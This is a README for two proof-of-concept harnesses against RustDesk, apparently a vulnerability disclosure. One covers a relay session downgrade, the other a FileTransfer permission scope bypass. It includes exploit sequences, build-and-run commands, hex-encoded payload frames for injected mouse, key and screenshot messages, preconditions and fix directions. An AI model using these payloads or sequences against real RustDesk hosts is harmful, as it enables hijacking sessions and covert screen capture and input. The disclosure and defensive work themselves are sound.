Files
exploitarium/rustdesk-session-permission-pocs/README.md
2026-06-25 05:34:52 -05:00

15 KiB

RustDesk Session and FileTransfer Permission PoCs

This directory contains two RustDesk proof-of-concept harnesses for issues found in the rustdesk/rustdesk codebase.

The two findings are related by target and protocol surface, but they are separate bugs with separate preconditions:

Finding Local classification What the PoC proves Required attacker position
Relay session security downgrade Critical-class candidate A malicious relay/rendezvous path can make a normally authenticated session continue without the expected encrypted peer key agreement, then observe and inject plaintext control messages. Control of, compromise of, or equivalent ability to alter the rendezvous/relay metadata path used by the connecting client.
FileTransfer authorization scope bypass High-class candidate A connection authorized as AuthConnType::FileTransfer can still reach post-auth screen and input message handlers that are gated by broad self.authorized state instead of the narrower connection type. A valid FileTransfer session authorization, such as the password proof or explicit user approval for file transfer.

These are not assigned CVE entries in this repository. The classifications above are severity judgments for the demonstrated conditions, not vendor advisories.

Contents

  • session-downgrade/: Rust PoC that generates framed RustDesk payloads and runs a local loopback relay simulation for the session downgrade.
  • session-downgrade/payloads/: Pre-generated sample framed payloads from the session downgrade PoC.
  • filetransfer-scope-bypass/: Rust PoC that verifies the vulnerable source shape and generates post-auth FileTransfer scope-bypass protocol messages.
  • filetransfer-scope-bypass/payloads/: Pre-generated sample message bodies from the FileTransfer PoC.
  • evidence/local-verification.txt: Sanitized local command output and hashes.

Both PoCs compile RustDesk protobuf bindings from a local RustDesk checkout at build time. Pass the checkout explicitly with --repo-root or set RUSTDESK_REPO_ROOT.

The local source checkout used for validation was:

rustdesk/rustdesk ff226f6d8013dee2de5a6553abaf67bf32b3e875

Finding 1: Relay Session Security Downgrade

Summary

RustDesk's client secure-session setup can fail open when the signed peer key material received through the rendezvous/relay path is missing or invalid. The client derives whether to request a secure relay from whether the signed peer key is present. When the signed key is absent, the client sends an empty message to satisfy the peer side and returns without installing an encryption key.

On the controlled side, secure setup is conditional on the relay secure flag and key lengths. If the relay path is not marked secure, the server-side connection continues into the normal login flow without the peer encryption layer. A malicious relay in that position can then parse the LoginRequest and inject normal RustDesk control messages after the legitimate authentication succeeds.

The PoC does not recover the user's password. It does not bypass the login proof. It demonstrates that a relay/rendezvous attacker with the downgrade position can turn a normally authenticated session into plaintext relay traffic and inject a MouseEvent without knowing the password.

Source Evidence

The PoC checks for these source features before it emits payloads or reports success:

File Lines in the validated checkout Relevance
src/client.rs 511, 553 The client accepts signed peer key material from rendezvous and relay responses.
src/client.rs 723 Relay secure mode is requested from !signed_id_pk.is_empty().
src/client.rs 773-792 Missing or untrusted signed peer key leads to an empty message and returns without installing a peer encryption key.
src/client.rs 813-824 Some handshake mismatch/error cases send an empty/public-key-empty response and continue rather than failing closed.
src/rendezvous_mediator.rs 499 The relay response secure flag is propagated into connection setup.
src/server.rs 200 Server-side secure setup is conditional on the secure flag and key lengths.
src/server.rs 233 Key confirmation is explicitly cleared on the non-secure path.
src/server/connection.rs 2691, 2697, 2833, 3486 After authorization, mouse, key, and screenshot messages are dispatched under broad authorized state.

Exploit Shape

The local replay models this sequence:

  1. The client enters relay mode using rendezvous/relay metadata whose signed peer key is absent or invalid.
  2. The client asks for a non-secure relay and sends an empty first message to the controlled side.
  3. The controlled side continues because the secure flag/key requirements are not met.
  4. The legitimate client receives the normal RustDesk Hash challenge and sends a valid LoginRequest.
  5. The relay can parse that login request as plaintext protocol data.
  6. After the controlled side authorizes the legitimate login, the relay injects a plaintext MouseEvent.
  7. The controlled side accepts the injected mouse event because the session is authorized and the message is syntactically valid.

Run

Windows PowerShell:

cd rustdesk-session-permission-pocs\session-downgrade
$env:RUSTDESK_REPO_ROOT = "C:\path\to\rustdesk"
cargo run -- --repo-root $env:RUSTDESK_REPO_ROOT --out .\payloads

POSIX shell:

cd rustdesk-session-permission-pocs/session-downgrade
RUSTDESK_REPO_ROOT=/path/to/rustdesk cargo run -- --repo-root /path/to/rustdesk --out ./payloads

The generated .frame files include the RustDesk length prefix used by the TCP stream codec.

Expected Output

00_client_empty_downgrade_handshake.frame: 1 bytes, hex=00
01_login_remote_control.frame: 118 bytes, hex=d1013a720a0931323334353637383912204664ba509681b4355b18c1fb2137749c564691ac4e66e8091984e0cce606683e222072656c61792d61747461636b65722d63616e6e6f742d67756573732d746869732a116c65676974696d6174652d636c69656e745a05312e342e336a0777696e646f7773
02_injected_mouse_move.frame: 9 bytes, hex=20520610800518e003
03_injected_screenshot_request.frame: 37 bytes, hex=90ea0121121f706f632d646f776e6772616465642d72656c61792d73637265656e73686f74
  relay parsed LoginRequest without password knowledge: true
  relay injected MouseEvent as plaintext RustDesk frame: true

local exploit simulation:
  source checks passed: true
  client sent empty downgrade handshake: true
  relay observed plaintext login: true
  relay injected plaintext mouse frame: true
  controlled side authorized login: true
  controlled side accepted injected mouse event: true

Payload Hashes

File SHA256
00_client_empty_downgrade_handshake.frame 6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
01_login_remote_control.frame 69DD5DA57D22B5DBFBA6B704951062DEADED3942772756918583D9864A3D594E
02_injected_mouse_move.frame 3171F71B0409374A2450FF74DF8CAFAD89B760D7CAE05AC81588FABD165972E4
03_injected_screenshot_request.frame BE7FBF25E7B0419CA62B2DE02D63BD5769BF7714F48C69CBCA50438B5BA2F0FF

Preconditions and Limits

  • The attacker needs control of the relay/rendezvous metadata path or an equivalent ability to force the missing/invalid signed-key path. A passive network observer who cannot alter this path is not enough for this PoC.
  • The legitimate user still completes the normal RustDesk authentication flow.
  • The PoC demonstrates plaintext observation and control-message injection after authentication. It does not demonstrate remote code execution.
  • The sample payloads use fixed example IDs, password, salt, and challenge values. Regenerate them for a specific authorized test environment.
  • The local replay is a protocol-level simulation of the downgrade and post-auth injection. It does not require a live third-party RustDesk host.

Fix Direction

The downgrade should fail closed. Defensive changes to evaluate include:

  • Require valid signed peer key material for relay sessions that are expected to be secure.
  • Do not derive relay secure mode from metadata that can be stripped by the rendezvous/relay path.
  • Bind peer identity, peer public key, and relay security state together before login.
  • Reject empty or public-key-empty handshake fallbacks for relay sessions unless the user has explicitly opted into an insecure mode.
  • Add regression coverage that simulates missing, invalid, and mismatched signed peer key material and expects connection failure.

Finding 2: FileTransfer Authorization Scope Bypass

Summary

RustDesk records a FileTransfer login as AuthConnType::FileTransfer, but the post-auth message dispatcher accepts many message types under the broad self.authorized state. The FileTransfer post-login branch starts file-listing behavior, but unlike terminal and view-camera branches, it does not disable keyboard/input behavior or narrow the later dispatcher to file-transfer-only messages.

The PoC verifies that vulnerable source shape and emits a FileTransfer login plus screenshot, display capture, mouse click, and keypress message bodies. These are protocol messages that should not be accepted merely because a connection was authorized for file transfer.

This is not an unauthenticated vulnerability. It is a scope expansion after a valid FileTransfer authorization.

Source Evidence

The PoC checks for these source features:

File Lines in the validated checkout Relevance
src/server/connection.rs 1546 File transfer is assigned AuthConnType::FileTransfer.
src/server/connection.rs 1816-1827 The FileTransfer post-login branch reads the file directory and does not clear keyboard/input state.
src/server/connection.rs 1828, 1835 Terminal and view-camera branches do clear keyboard state, showing that narrower mode handling exists elsewhere.
src/server/connection.rs 2398 LoginRequest.FileTransfer stores file-transfer state on the connection.
src/server/connection.rs 2691 The dispatcher enters a broad post-auth branch using self.authorized.
src/server/connection.rs 2697, 2833, 3486 Mouse, key, and screenshot messages are reachable in that broad branch.
src/ui_cm_interface.rs 368 User acceptance sends authorization without a narrower per-message capability token.

Exploit Shape

The FileTransfer PoC models this sequence:

  1. The attacker obtains a valid FileTransfer authorization for the target session.
  2. The attacker sends a LoginRequest whose union is FileTransfer.
  3. The target records the connection as file transfer and authorizes it.
  4. After LoginResponse success, the same connection sends non-file-transfer messages.
  5. Because later dispatch is guarded by broad authorization instead of AuthConnType::Remote, screenshot/capture/input-family messages reach handlers that should be reserved for remote-control sessions.

Run

Windows PowerShell:

cd rustdesk-session-permission-pocs\filetransfer-scope-bypass
$env:RUSTDESK_REPO_ROOT = "C:\path\to\rustdesk"
cargo run -- --repo-root $env:RUSTDESK_REPO_ROOT --out .\payloads --peer-id 123456789 --my-id 987654321 --my-name poc-controller --password "CorrectHorseBatteryStaple!" --salt "sample-server-salt" --challenge "123456"

POSIX shell:

cd rustdesk-session-permission-pocs/filetransfer-scope-bypass
RUSTDESK_REPO_ROOT=/path/to/rustdesk cargo run -- --repo-root /path/to/rustdesk --out ./payloads --peer-id 123456789 --my-id 987654321 --my-name poc-controller --password "CorrectHorseBatteryStaple!" --salt "sample-server-salt" --challenge "123456"

The generated .bin files are serialized RustDesk protobuf Message bodies. In a real stream replay harness, wrap them in the same transport framing used by the established RustDesk connection.

Expected Output

01_login_filetransfer.bin: 92 bytes, hex=3a5a0a0931323334353637383912204664ba509681b4355b18c1fb2137749c564691ac4e66e8091984e0cce606683e22093938373635343332312a0e706f632d636f6e74726f6c6c65725a05312e342e336a0777696e646f77733a00
02_screenshot_request.bin: 32 bytes, hex=ea011d121b706f632d66696c657472616e736665722d73637265656e73686f74
03_capture_display0.bin: 9 bytes, hex=9a0106f201031a0100
04_mouse_left_click.bin: 10 bytes, hex=5208080110800518e003
05_key_return_press.bin: 8 bytes, hex=7a0610014801181b

PoC payloads written to .\payloads
Use only against a RustDesk host you own/control. The sequence is:
1. complete the normal transport/key exchange and receive Hash(salt, challenge)
2. send 01_login_filetransfer.bin with a valid password proof
3. after LoginResponse success, send screenshot/capture/input payloads
The source verifier confirmed this commit accepts these post-auth messages on a FileTransfer connection without rechecking AuthConnType::Remote.

Payload Hashes

File SHA256
01_login_filetransfer.bin 67DFBD05D5B5F8F7D2A1DCA6CE7E3038DAADD86B9B4A9EA57958C1C5BD8F5B34
02_screenshot_request.bin 2051A74FD909D2F721927FBF63A7C51FF93FEA8F234130763316F9BDCADBF03B
03_capture_display0.bin 0547F9061C5BC107B19D885AC9D187C86E7C07ECC60E77FBE99CCB9A4A81D90D
04_mouse_left_click.bin F99E0557BC4087C6D2936F60D68068A296A397FDDC08D6A6326E127B629A4FAF
05_key_return_press.bin B5656BFE818D514F3175E6D46B324436FF6961DC093D3E949CA458104C3593A0

Preconditions and Limits

  • The attacker must already have a valid FileTransfer authorization. This can be a correct password proof or a user-approved file-transfer session.
  • The PoC does not bypass RustDesk authentication by itself.
  • The PoC is a source-verified payload generator. It does not include a full live client that drives a target UI or third-party host.
  • The keypress payload is included because desktop and mobile key-event branches exist in the broad dispatcher. Exact input effects depend on platform, permissions, focus, and runtime settings.
  • The sample login payload uses fixed example challenge material. Regenerate it with the actual Hash challenge values from an authorized test session.

Fix Direction

The server should enforce connection type and capability at the message dispatcher boundary. Defensive changes to evaluate include:

  • Dispatch post-auth messages through an allowlist keyed by AuthConnType.
  • Reject MouseEvent, PointerDeviceEvent, KeyEvent, ScreenshotRequest, capture-display, and monitor-control messages on AuthConnType::FileTransfer.
  • Make the FileTransfer branch clear or ignore keyboard and pointer permissions unless a separate remote-control authorization is granted.
  • Add regression tests that login as FileTransfer and verify non-file-transfer messages are rejected.
  • Keep user approval scoped to the selected action. Accepting file transfer should not silently authorize screen capture or remote input.

Responsible Use

Run these PoCs only against local research targets, owned systems, or environments where you have explicit authorization. The included payloads are for defensive reproduction and patch validation. They are not intended for use against third-party RustDesk deployments.